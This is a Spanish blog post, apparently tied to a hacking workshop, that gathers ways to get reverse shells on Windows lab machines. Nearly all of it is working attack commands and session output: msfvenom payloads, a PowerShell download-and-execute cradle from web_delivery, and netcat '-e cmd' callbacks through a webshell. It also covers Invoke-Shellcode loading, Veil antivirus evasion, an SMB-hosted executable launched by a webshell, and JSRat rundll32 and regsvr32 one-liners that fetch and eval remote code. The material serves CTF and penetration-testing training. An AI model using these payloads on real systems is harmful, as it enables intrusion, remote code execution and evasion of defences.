Colección de herramientas y técnicas para obtener shells reversas en Windows

En CTFs y/o plataformas de training la mayoría de las máquinas que encontramos son Linux y cuando conseguimos explotar una vulnerabilidad que nos permite ejecución remota de comandos el siguiente paso normalmente es obtener una shell reversa.

Sin embargo, en escenarios reales el porcentaje de máquinas con respecto a Windows se equipara o, al menos, se incrementa drásticamente el número de servidores al que tenemos que enfrentarnos. Por eso, también es muy importante tener un buen compendio de herramientas y técnicas para obtener shells reversas en Windows. Aquí os dejo un breve pero intenso resumen de la mayoría que he ido encontrando y que veremos (entre las más de 400 slides!) que tenemos preparados para el taller que impartiremos el próximo sábado en la Eastmadh4ck:

MsfVenom

Es el generador de payloads de Metasploit de facto. Ya sabéis, el reemplazo de msfpayload y msfencode y probablemente el más utilizado.
Por ejemplo, generamos el código para una shell reversa en aspx.
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.4 LPORT=4444 -f aspx > shell.aspx
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of aspx file: 2749 bytes

La subimos al servidor:
ftp> put shell.aspx
local: shell.aspx remote: shell.aspx
200 PORT command successful.
2785 bytes sent in 0.00 secs (20.2747 MB/s)

Ponemos el multihandler a la escucha:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 10.10.14.4
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 10.10.14.4:4444 
[*] Starting the payload handler...

Y al abrir el enlace...
http://10.10.10.5/shell.aspx

Obtenemos la shell correspondiente:
[*] Sending stage (956991 bytes) to 10.10.10.5
[*] Meterpreter session 1 opened (10.10.14.4:4444 -> 10.10.10.5:49157) at 2017-11-25 meterpreter > sysinfo
Computer        : DEVEL
OS              : Windows 7 (Build 7600).
Architecture    : x86
System Language : el_GR
Domain          : HTB
Logged On Users : 0
Meterpreter     : x86/windows

Metasploit Web Delivery

El Web Delivery de Metasploit es un módulo muy versátil que crea un servidor en la máquina del atacante que aloja el payload seleccionado. Digamos que nos ahorra realizar varios pasos de forma manual y es muy cómodo porque nos devuelve el comando de una sóla línea que debemos ejecutar en la víctima. Veamos por ejemplo un payload en powershell:
use exploit/multi/script/web_delivery
set TARGET 2 (powershell)
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set URIPATH update
set LHOST 10.10.14.15
set LPORT 8082
exploit -j
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 10.10.14.15:8082 
[*] Using URL: http://0.0.0.0:8081/update
[*] Local IP: http://10.10.14.15:8081/update
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $m=new-object net.webclient;$m.proxy=[Net.WebRequest]::GetSystemWebProxy();$m.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $m.downloadstring('http://10.10.14.15:8081/update');

msf exploit(multi/script/web_delivery) > [*] 10.10.10.9       web_delivery - Delivering Payload
[*] Sending stage (205891 bytes) to 10.10.10.9
[*] Meterpreter session 1 opened (10.10.14.15:8082 -> 10.10.10.9:49618) at 2018-01-11 11:04:41 +0100

msf exploit(multi/script/web_delivery) > sessions -l

Active sessions
===============

  Id  Name  Type                     Information                  Connection
  --  ----  ----                     -----------                  ----------
  1         meterpreter x64/windows  NT AUTHORITY\IUSR @ BASTARD  10.10.14.15:8082 -> 10.10.10.9:49618 (10.10.10.9)

Netcat en Windows

No podía faltar en este menú un clásico como la navaja suiza netcat, esta vez compilado y listo para ejecutar en Windows (los tenemos para 32 y para 64 bits):
# wget https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip
# unzip netcat-win32-1.12.zip
# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
10.10.10.9 - - [24/Jan/2018 01:14:27] "GET /nc64.exe HTTP/1.0" 200 -http://10.10.10.9/myshell.php?fupload=nc64.exe

http://10.10.10.9/myshell.php?fexec=nc64.exe -e cmd 10.10.14.5 8081

root@kali:~/bastard# nc -lvp 8081
listening on [any] 8081 ...
10.10.10.9: inverse host lookup failed: Unknown host
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.9] 49182
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\inetpub\drupal-7.54>whoami
whoami
nt authority\iusr

Metasploit también tiene un módulo de post-explotación muy cómodo que nos permitirá llevar la sesión de Netcat a una de meterpreter:

Atacante:
 Opción 1: Use the sessions -u [session id]command.
 Opción 2: Use the post/multi/manage/shell_to_meterpreter to upgrade the shell.


PowerSploit Invoke-Shellcode.ps1

PowerSploit es una colección de módulos y scripts ofensivos en PowerShell y dentro de la misma tenemos Invoke-Shellcode con el que podemos inyectar un shellcode en el ID del proceso que elijamos o dentro de PowerShell de forma local:

Atacante:
cat /usr/share/powersploit/CodeExecution/Invoke-Shellcode.ps1 > payload
echo “Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.252.1 -Lport 443 -Force” >> payload
python -m SimpleHTTPServer (http://192.168.1.112:8000/payload)

Servidor:
iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')

Codificado:
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc aQBlAHgAIAAoAE4 ... BjBkACcAKQAKAA==

Empire

Empire es un agente de post-explotación en PowerShell y Python con una arquitectura muy flexible. Empire implementa la capacidad de ejecutar agentes PowerShell sin necesidad de powershell.exe, módulos de post-explotación de rápida implementación que van desde keyloggers hasta Mimikatz, y comunicaciones adaptables para evadir la detección en redes, todo envuelto en un marco enfocado en la usabilidad.


(Empire: listeners) > uselistener http
(Empire: listeners/http) > set Host 10.10.15.73
(Empire: listeners/http) > set Port 8888
(Empire: listeners/http) > execute
[*] Starting listener 'http'
l[+] Listener successfully started!
(Empire: listeners/http) > listeners

[*] Active listeners:

  Name              Module          Host                                 Delay/Jitter   KillDate
  ----              ------          ----                                 ------------   --------
  http              http            http://10.10.15.73:80                5/0.0


(Empire: stager/windows/launcher_bat) > set Listener http
(Empire: stager/windows/launcher_bat) > execute

[*] Stager output written out to: /tmp/launcher.bat



Hackplayers mod: https://github.com/Hackplayers/Empire-mod-Hackplayers

Empire GUI


StarFighter


Veil Evasion

Veil-Evasion es una herramienta diseñada para generar payloads de metasploit que sean capaces de evadir la mayoría de las soluciones de antivirus.


list
24 (powershell/meterpreter/rev_tcp)
 [powershell/meterpreter/rev_tcp>>]: set LHOST 10.10.14.3
generate
 [>] Please enter the base name for output files (default is 'payload'): 

 Language:        powershell
 Payload:        powershell/meterpreter/rev_tcp
 Required Options:      LHOST=10.10.14.3  LPORT=4444
 Payload File:        /usr/share/veil-output/source/payload.bat
 Handler File:        /usr/share/veil-output/handlers/payload_handler.rc

 [*] Your payload files have been generated, don't get caught!
 [!] And don't submit samples to any online scanner! ;)

msf exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.14.3:4444 

[*] Sending stage (179779 bytes) to 10.10.10.11
[*] Meterpreter session 1 opened (10.10.14.3:4444 -> 10.10.10.11:55194) at 2018-01-02 01:47:57 +0100

meterpreter > 
meterpreter > getuid
Server username: ARCTIC\tolis

meterpreter > sysinfo
Computer        : ARCTIC
OS              : Windows 2008 R2 (Build 7600).
Architecture    : x64
System Language : el_GR
Domain          : HTB
Logged On Users : 1
Meterpreter     : x86/windows

Phantom Evasion

Herramienta de evasión de AV escrita en Python capaz de generar ejecutables FUD incluso desde los payloads de metasploit de 32 bits más comunes (exe/elf/dmg/apk)


Impacket smbserver

Impacket realmente es una colección de clases de Python para trabajar con protocolos de red, de hecho es capaz de implementarlos como por ejemplo un servidor SMB en donde podamos alojar nuestros payloads:

/impacket/examples# ./smbserver.py SHARE ./SHARE/


Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
Payload options (windows/x64/meterpreter/reverse_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port

Exploit target:
   Id  Name
   --  ----
   0   Wildcard Target

msf exploit(multi/handler) > set Lhost 10.10.14.189
Lhost => 10.10.14.189
msf exploit(multi/handler) > set lport 80
lport => 80
msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.189:80


WEBSHELL:
http://10.10.10.81/internal-01/log/sapo.php?c=//10.10.14.102/SHARE/test.exe

SMBSERVER:
[*] Incoming connection (10.10.10.81,55355)
[*] AUTHENTICATE_MESSAGE (\,BART)
[*] User \BART authenticated successfully
[*] :::00::4141414141414141
[-] TreeConnectAndX not found TEST.EXE
[-] TreeConnectAndX not found TEST.EXE
[-] TreeConnectAndX not found TEST.EXE
[-] TreeConnectAndX not found TEST.EXE
[-] TreeConnectAndX not found TEST.EXE
[-] TreeConnectAndX not found TEST.EXE
[-] TreeConnectAndX not found TEST.EXE
[-] TreeConnectAndX not found TEST.EXE
[*] AUTHENTICATE_MESSAGE (\,BART)
[*] User \BART authenticated successfully
[*] :::00::4141414141414141
[*] Disconnecting Share(1:IPC$)
[*] Disconnecting Share(3:TEST)

msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.102:8081
[*] Sending stage (205891 bytes) to 10.10.10.81
[*] Meterpreter session 1 opened (10.10.14.102:8081 -> 10.10.10.81:56272) at 2018-04-24 23:06:24 +0200

meterpreter > ls
Listing: C:\inetpub\wwwroot\internal-01\log
===========================================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
40777/rwxrwxrwx   0      dir   2018-02-21 20:44:08 +0100  Microsoft
100666/rw-rw-rw-  1112   fil   2018-04-24 18:37:25 +0200  apple.php
40777/rwxrwxrwx   4096   dir   2018-04-24 22:07:34 +0200  exploit
100666/rw-rw-rw-  1524   fil   2018-04-24 22:51:51 +0200  log.php
100666/rw-rw-rw-  101    fil   2018-02-21 20:35:17 +0100  log.txt
100666/rw-rw-rw-  201    fil   2018-04-24 20:51:22 +0200  lol.php
100666/rw-rw-rw-  1112   fil   2018-04-24 18:37:25 +0200  mac.php
100777/rwxrwxrwx  0      fil   2018-04-24 21:12:27 +0200  mysql.exe
100777/rwxrwxrwx  38616  fil   2018-04-24 20:51:31 +0200  nc.exe
100666/rw-rw-rw-  30     fil   2018-04-24 22:51:51 +0200  sapo.php
100666/rw-rw-rw-  21     fil   2018-04-24 22:51:51 +0200  sapo2.php
100666/rw-rw-rw-  116    fil   2018-04-24 20:45:02 +0200  shell69.php
100666/rw-rw-rw-  381    fil   2018-04-24 18:37:18 +0200  tmp1.php

meterpreter > getuid
Server username: NT AUTHORITY\IUSR

Unicorn

Ataques nativos de inyección con powershell en cualquier plataforma de Windows x86:


python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
# cat unicorn.rc
use multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 192.168.1.5
set LPORT 443
set ExitOnSession false
set EnableStageEncoding true
exploit -j
# msfconsole -r unicorn.rc


jsrat.ps1

Simple js shell reversa a través de rundll32 (@subTee):
rund32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.open("GET","http://192.168.174.131/connect",false);h.Send();B=h.ResponseText;eval(B):

Ejecutar como admin:
powershell.exe -ExecutionPolicy Bypass -File c:\test\JSRat.ps1
  

Cliente: 
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");w=new%20ActiveXObject("WScript.Shell");try{v=w.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet%20Settings\\ProxyServer");q=v.split("=")[1].split(";")[0];h.SetProxy(2,q);}catch(e){}h.Open("GET","http://192.168.174.131/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

JSRat.py 

Implementación de JSRat en python por Hood3dRob1n, multiplataforma y que permite usar rundll32 o regsvr32: 

Servidor (atacante):

1-Interactive mode
   python MyJSRat.py -i 192.168.1.101 -p 8080

2-Command mode
  python MyJSRat.py -i 192.168.1.101 -p 8080 -c "whoami"
 

Cliente (Victima Windows box):

Uso del método rundll32 para invocar al cliente:
   rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://10.10.10.10:31337/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

Uso del método de regsvr32 para invocar al cliente:
 regsvr32.exe /u /n /s /i:http://10.10.10.10:31337/file.sct scrobj.dll


Reverse shell 

ReverseShell es un script en PowerShell que podemos usar para 1 / facilitar el proceso de crear una shell reversa con diferentes payloads según el intérprete que admita el servidor (python, bash, perl, java, php o ruby) y 2 / automatizar el update a Meterpreter.


Shellpop 

Similar a la anterior pero añade más payloads y bind shells.



¿Más? Si echáis en falta no lo dudéis y comentar este post!

Comentarios

  1. Joder. Este post es enorme desde la foto de tito Billy hacienda un medio Dab.
    Mis dieses.

    ResponderEliminar
  2. Ai que desgracia eso jajaj ❤️

    ResponderEliminar

Publicar un comentario